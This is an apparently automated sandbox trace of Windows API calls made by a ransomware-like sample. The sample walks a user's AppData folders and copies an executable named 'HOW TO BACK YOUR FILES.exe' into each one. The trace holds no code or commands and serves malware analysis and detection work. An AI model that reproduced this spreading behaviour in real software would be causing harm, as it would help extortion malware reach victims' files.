	[0043.514] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\macromedia\\flash player\\#sharedobjects\\p7y3f7qb\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.519] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.519] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d4582b0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x3202ced0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3202ced0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.519] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.519] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.519] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities"
	[0043.519] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591640 | out: hHeap=0x580000) returned 1
	[0043.519] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0043.519] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities") returned 56
	[0043.519] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities"
	[0043.519] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.520] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\identities\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.527] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.527] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x3202ced0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3202ced0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.527] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.527] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.527] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="{31810C36-5D23-4CCE-A3B4-316DED195C38}" | out: lpString1="{31810C36-5D23-4CCE-A3B4-316DED195C38}") returned="{31810C36-5D23-4CCE-A3B4-316DED195C38}"
	[0043.527] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a68
	[0043.527] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xc0) returned 0x599450
	[0043.527] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a70 | out: ListHead=0x5b76b0, ListEntry=0x5b7a70) returned 0x5b7a50
	[0043.527] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{31810C36-5D23-4CCE-A3B4-316DED195C38}", cAlternateFileName="{31810~1")) returned 0
	[0043.527] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0043.528] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a70
	[0043.528] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}"
	[0043.528] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0043.528] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0043.528] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}") returned 95
	[0043.528] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}"
	[0043.528] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.528] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\identities\\{31810c36-5d23-4cce-a3b4-316ded195c38}\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.532] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.532] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x32053030, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x32053030, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.532] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.532] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.532] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe"
	[0043.532] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599a78 | out: hHeap=0x580000) returned 1
	[0043.532] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a48 | out: hHeap=0x580000) returned 1
	[0043.532] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe") returned 51
	[0043.532] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe"
	[0043.532] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.533] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.690] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.690] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x32079190, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x32079190, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.690] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.690] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.690] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="Acrobat" | out: lpString1="Acrobat") returned="Acrobat"
	[0043.690] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a48
	[0043.690] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x78) returned 0x591640
	[0043.691] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a50 | out: ListHead=0x5b76b0, ListEntry=0x5b7a50) returned 0x5b79b0
	[0043.691] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Flash Player", cAlternateFileName="FLASHP~1")) returned 1
	[0043.691] lstrcmpiW (lpString1="Flash Player", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.691] lstrcmpiW (lpString1="Flash Player", lpString2="Apollon865.txt.exe") returned 1
	[0043.691] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="Flash Player" | out: lpString1="Flash Player") returned="Flash Player"
	[0043.691] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a68
	[0043.691] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x82) returned 0x5b9168
	[0043.691] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a70 | out: ListHead=0x5b76b0, ListEntry=0x5b7a70) returned 0x5b7a50
	[0043.691] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Headlights", cAlternateFileName="HEADLI~1")) returned 1
	[0043.691] lstrcmpiW (lpString1="Headlights", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.691] lstrcmpiW (lpString1="Headlights", lpString2="Apollon865.txt.exe") returned 1
	[0043.691] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="Headlights" | out: lpString1="Headlights") returned="Headlights"
	[0043.691] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a88
	[0043.691] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7e) returned 0x5bf898
	[0043.691] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a90 | out: ListHead=0x5b76b0, ListEntry=0x5b7a90) returned 0x5b7a70
	[0043.691] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x32079190, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x32079190, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0043.691] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0043.691] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 1
	[0043.691] lstrcmpiW (lpString1="Linguistics", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0043.691] lstrcmpiW (lpString1="Linguistics", lpString2="Apollon865.txt.exe") returned 1
	[0043.691] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="Linguistics" | out: lpString1="Linguistics") returned="Linguistics"
	[0043.691] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0043.691] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bf4e0
	[0043.691] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7a90
	[0043.691] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LogTransport2", cAlternateFileName="LOGTRA~1")) returned 1
	[0043.691] lstrcmpiW (lpString1="LogTransport2", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0043.691] lstrcmpiW (lpString1="LogTransport2", lpString2="Apollon865.txt.exe") returned 1
	[0043.691] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="LogTransport2" | out: lpString1="LogTransport2") returned="LogTransport2"
	[0043.691] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0043.691] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x84) returned 0x5b8f28
	[0043.692] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c30 | out: ListHead=0x5b76b0, ListEntry=0x5b7c30) returned 0x5b7ab0
	[0043.692] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LogTransport2", cAlternateFileName="LOGTRA~1")) returned 0
	[0043.692] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0043.692] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c30
	[0043.692] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2"
	[0043.692] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8f28 | out: hHeap=0x580000) returned 1
	[0043.692] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0043.692] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2") returned 65
	[0043.692] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2"
	[0043.692] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.692] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\logtransport2\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.697] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.697] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x321cfdf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x321cfdf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.698] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.698] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.698] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics"
	[0043.698] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0043.698] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0043.698] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics") returned 63
	[0043.698] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics"
	[0043.698] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.698] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\linguistics\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.703] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.703] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x321f5f50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x321f5f50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.703] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.703] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.703] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="Dictionaries" | out: lpString1="Dictionaries") returned="Dictionaries"
	[0043.703] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0043.703] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x9a) returned 0x599450
	[0043.703] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7a90
	[0043.703] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x321f5f50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x321f5f50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0043.703] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0043.703] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x321f5f50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x321f5f50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0043.703] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0043.703] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7ab0
	[0043.704] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries"
	[0043.704] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0043.704] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0043.704] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries") returned 76
	[0043.704] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries"
	[0043.704] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
